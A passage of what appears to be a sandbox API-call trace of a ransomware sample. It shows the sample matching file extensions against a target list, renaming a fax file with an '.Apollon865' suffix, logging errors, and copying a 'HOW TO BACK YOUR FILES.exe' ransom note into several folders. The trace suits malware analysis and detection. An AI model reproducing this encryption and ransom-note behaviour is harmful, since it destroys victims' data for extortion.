	[0079.086] lstrlenW (lpString="fcd") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fcd") returned 1
	[0079.086] lstrlenW (lpString="fdb") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fdb") returned 1
	[0079.086] lstrlenW (lpString="fic") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fic") returned 1
	[0079.086] lstrlenW (lpString="flexolibrary") returned 12
	[0079.086] lstrcmpiW (lpString1="lcomeFax.tif", lpString2="flexolibrary") returned 1
	[0079.086] lstrlenW (lpString="fm5") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fm5") returned 1
	[0079.086] lstrlenW (lpString="fmp") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fmp") returned 1
	[0079.086] lstrlenW (lpString="fmp12") returned 5
	[0079.086] lstrcmpiW (lpString1="x.tif", lpString2="fmp12") returned 1
	[0079.086] lstrlenW (lpString="fmpsl") returned 5
	[0079.086] lstrcmpiW (lpString1="x.tif", lpString2="fmpsl") returned 1
	[0079.086] lstrlenW (lpString="fol") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fol") returned 1
	[0079.086] lstrlenW (lpString="fp3") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fp3") returned 1
	[0079.086] lstrlenW (lpString="fp4") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fp4") returned 1
	[0079.086] lstrlenW (lpString="fp5") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fp5") returned 1
	[0079.086] lstrlenW (lpString="fp7") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fp7") returned 1
	[0079.086] lstrlenW (lpString="fpt") returned 3
	[0079.086] lstrcmpiW (lpString1="tif", lpString2="fpt") returned 1
	[0079.086] lstrlenW (lpString="frm") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="frm") returned 1
	[0079.087] lstrlenW (lpString="gdb") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="gdb") returned 1
	[0079.087] lstrlenW (lpString="gdb") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="gdb") returned 1
	[0079.087] lstrlenW (lpString="grdb") returned 4
	[0079.087] lstrcmpiW (lpString1=".tif", lpString2="grdb") returned -1
	[0079.087] lstrlenW (lpString="gwi") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="gwi") returned 1
	[0079.087] lstrlenW (lpString="hdb") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="hdb") returned 1
	[0079.087] lstrlenW (lpString="his") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="his") returned 1
	[0079.087] lstrlenW (lpString="ib") returned 2
	[0079.087] lstrcmpiW (lpString1="if", lpString2="ib") returned 1
	[0079.087] lstrlenW (lpString="idb") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="idb") returned 1
	[0079.087] lstrlenW (lpString="ihx") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="ihx") returned 1
	[0079.087] lstrlenW (lpString="itdb") returned 4
	[0079.087] lstrcmpiW (lpString1=".tif", lpString2="itdb") returned -1
	[0079.087] lstrlenW (lpString="itw") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="itw") returned 1
	[0079.087] lstrlenW (lpString="jet") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="jet") returned 1
	[0079.087] lstrlenW (lpString="jtx") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="jtx") returned 1
	[0079.087] lstrlenW (lpString="kdb") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="kdb") returned 1
	[0079.087] lstrlenW (lpString="kexi") returned 4
	[0079.087] lstrcmpiW (lpString1=".tif", lpString2="kexi") returned -1
	[0079.087] lstrlenW (lpString="kexic") returned 5
	[0079.087] lstrcmpiW (lpString1="x.tif", lpString2="kexic") returned 1
	[0079.087] lstrlenW (lpString="kexis") returned 5
	[0079.087] lstrcmpiW (lpString1="x.tif", lpString2="kexis") returned 1
	[0079.087] lstrlenW (lpString="lgc") returned 3
	[0079.087] lstrcmpiW (lpString1="tif", lpString2="lgc") returned 1
	[0079.088] lstrlenW (lpString="lwx") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="lwx") returned 1
	[0079.088] lstrlenW (lpString="maf") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="maf") returned 1
	[0079.088] lstrlenW (lpString="maq") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="maq") returned 1
	[0079.088] lstrlenW (lpString="mar") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mar") returned 1
	[0079.088] lstrlenW (lpString="marshal") returned 7
	[0079.088] lstrcmpiW (lpString1="Fax.tif", lpString2="marshal") returned -1
	[0079.088] lstrlenW (lpString="mas") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mas") returned 1
	[0079.088] lstrlenW (lpString="mav") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mav") returned 1
	[0079.088] lstrlenW (lpString="maw") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="maw") returned 1
	[0079.088] lstrlenW (lpString="mdbhtml") returned 7
	[0079.088] lstrcmpiW (lpString1="Fax.tif", lpString2="mdbhtml") returned -1
	[0079.088] lstrlenW (lpString="mdn") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mdn") returned 1
	[0079.088] lstrlenW (lpString="mdt") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mdt") returned 1
	[0079.088] lstrlenW (lpString="mfd") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mfd") returned 1
	[0079.088] lstrlenW (lpString="mpd") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mpd") returned 1
	[0079.088] lstrlenW (lpString="mrg") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mrg") returned 1
	[0079.088] lstrlenW (lpString="mud") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mud") returned 1
	[0079.088] lstrlenW (lpString="mwb") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="mwb") returned 1
	[0079.088] lstrlenW (lpString="myd") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="myd") returned 1
	[0079.088] lstrlenW (lpString="ndf") returned 3
	[0079.088] lstrcmpiW (lpString1="tif", lpString2="ndf") returned 1
	[0079.089] lstrlenW (lpString="nnt") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="nnt") returned 1
	[0079.089] lstrlenW (lpString="nrmlib") returned 6
	[0079.089] lstrcmpiW (lpString1="ax.tif", lpString2="nrmlib") returned -1
	[0079.089] lstrlenW (lpString="ns2") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="ns2") returned 1
	[0079.089] lstrlenW (lpString="ns3") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="ns3") returned 1
	[0079.089] lstrlenW (lpString="ns4") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="ns4") returned 1
	[0079.089] lstrlenW (lpString="nsf") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="nsf") returned 1
	[0079.089] lstrlenW (lpString="nv") returned 2
	[0079.089] lstrcmpiW (lpString1="if", lpString2="nv") returned -1
	[0079.089] lstrlenW (lpString="nv2") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="nv2") returned 1
	[0079.089] lstrlenW (lpString="nwdb") returned 4
	[0079.089] lstrcmpiW (lpString1=".tif", lpString2="nwdb") returned -1
	[0079.089] lstrlenW (lpString="nyf") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="nyf") returned 1
	[0079.089] lstrlenW (lpString="odb") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="odb") returned 1
	[0079.089] lstrlenW (lpString="odb") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="odb") returned 1
	[0079.089] lstrlenW (lpString="oqy") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="oqy") returned 1
	[0079.089] lstrlenW (lpString="ora") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="ora") returned 1
	[0079.089] lstrlenW (lpString="orx") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="orx") returned 1
	[0079.089] lstrlenW (lpString="owc") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="owc") returned 1
	[0079.089] lstrlenW (lpString="p96") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="p96") returned 1
	[0079.089] lstrlenW (lpString="p97") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="p97") returned 1
	[0079.089] lstrlenW (lpString="pan") returned 3
	[0079.089] lstrcmpiW (lpString1="tif", lpString2="pan") returned 1
	[0079.090] lstrlenW (lpString="pdb") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="pdb") returned 1
	[0079.090] lstrlenW (lpString="pdm") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="pdm") returned 1
	[0079.090] lstrlenW (lpString="pnz") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="pnz") returned 1
	[0079.090] lstrlenW (lpString="qry") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="qry") returned 1
	[0079.090] lstrlenW (lpString="qvd") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="qvd") returned 1
	[0079.090] lstrlenW (lpString="rbf") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="rbf") returned 1
	[0079.090] lstrlenW (lpString="rctd") returned 4
	[0079.090] lstrcmpiW (lpString1=".tif", lpString2="rctd") returned -1
	[0079.090] lstrlenW (lpString="rod") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="rod") returned 1
	[0079.090] lstrlenW (lpString="rodx") returned 4
	[0079.090] lstrcmpiW (lpString1=".tif", lpString2="rodx") returned -1
	[0079.090] lstrlenW (lpString="rpd") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="rpd") returned 1
	[0079.090] lstrlenW (lpString="rsd") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="rsd") returned 1
	[0079.090] lstrlenW (lpString="sas7bdat") returned 8
	[0079.090] lstrcmpiW (lpString1="eFax.tif", lpString2="sas7bdat") returned -1
	[0079.090] lstrlenW (lpString="sbf") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="sbf") returned 1
	[0079.090] lstrlenW (lpString="scx") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="scx") returned 1
	[0079.090] lstrlenW (lpString="sdb") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="sdb") returned 1
	[0079.090] lstrlenW (lpString="sdc") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="sdc") returned 1
	[0079.090] lstrlenW (lpString="sdf") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="sdf") returned 1
	[0079.090] lstrlenW (lpString="sis") returned 3
	[0079.090] lstrcmpiW (lpString1="tif", lpString2="sis") returned 1
	[0079.090] lstrlenW (lpString="spq") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="spq") returned 1
	[0079.091] lstrlenW (lpString="te") returned 2
	[0079.091] lstrcmpiW (lpString1="if", lpString2="te") returned -1
	[0079.091] lstrlenW (lpString="teacher") returned 7
	[0079.091] lstrcmpiW (lpString1="Fax.tif", lpString2="teacher") returned -1
	[0079.091] lstrlenW (lpString="tmd") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="tmd") returned -1
	[0079.091] lstrlenW (lpString="tps") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="tps") returned -1
	[0079.091] lstrlenW (lpString="trc") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="trc") returned -1
	[0079.091] lstrlenW (lpString="trc") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="trc") returned -1
	[0079.091] lstrlenW (lpString="trm") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="trm") returned -1
	[0079.091] lstrlenW (lpString="udb") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="udb") returned -1
	[0079.091] lstrlenW (lpString="udl") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="udl") returned -1
	[0079.091] lstrlenW (lpString="usr") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="usr") returned -1
	[0079.091] lstrlenW (lpString="v12") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="v12") returned -1
	[0079.091] lstrlenW (lpString="vis") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="vis") returned -1
	[0079.091] lstrlenW (lpString="vpd") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="vpd") returned -1
	[0079.091] lstrlenW (lpString="vvv") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="vvv") returned -1
	[0079.091] lstrlenW (lpString="wdb") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="wdb") returned -1
	[0079.091] lstrlenW (lpString="wmdb") returned 4
	[0079.091] lstrcmpiW (lpString1=".tif", lpString2="wmdb") returned -1
	[0079.091] lstrlenW (lpString="wrk") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="wrk") returned -1
	[0079.091] lstrlenW (lpString="xdb") returned 3
	[0079.091] lstrcmpiW (lpString1="tif", lpString2="xdb") returned -1
	[0079.091] lstrlenW (lpString="xld") returned 3
	[0079.092] lstrcmpiW (lpString1="tif", lpString2="xld") returned -1
	[0079.092] lstrlenW (lpString="xmlff") returned 5
	[0079.092] lstrcmpiW (lpString1="x.tif", lpString2="xmlff") returned -1
	[0079.092] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif.Apollon865") returned 90
	[0079.092] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif.apollon865"), dwFlags=0x1) returned 0
	[0079.092] GetLastError () returned 0x5
	[0079.092] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif MoveFileEx error 5\r\n") returned 108
	[0079.092] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif MoveFileEx error 5\r\n") returned 108
	[0079.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.092] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4530
	[0079.092] WriteFile (in: hFile=0xc0, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6c, lpOverlapped=0x0) returned 1
	[0079.093] CloseHandle (hObject=0xc0) returned 1
	[0079.093] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0079.093] CloseHandle (hObject=0x0) returned 0
	[0079.093] CloseHandle (hObject=0x0) returned 0
	[0079.093] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0
	[0079.093] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.093] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0079.093] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0079.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0079.093] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned 55
	[0079.093] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0079.093] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\sentitems\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.094] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.094] GetLastError () returned 0x0
	[0079.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.094] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.094] CloseHandle (hObject=0x10c) returned 1
	[0079.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.094] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.094] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.094] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.094] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.094] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.095] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.095] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.095] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.095] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.095] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.095] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7b58d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.095] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.095] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7b58d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.095] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.095] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7930
	[0079.095] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0079.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afdc8 | out: hHeap=0x580000) returned 1
	[0079.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0079.095] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned 51
	[0079.095] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0079.095] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\queue\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.096] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.096] GetLastError () returned 0x0
	[0079.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.096] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.096] CloseHandle (hObject=0x10c) returned 1
	[0079.096] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.096] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.096] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.096] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.096] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.096] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.096] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.096] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.096] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.096] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.096] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.096] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.096] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
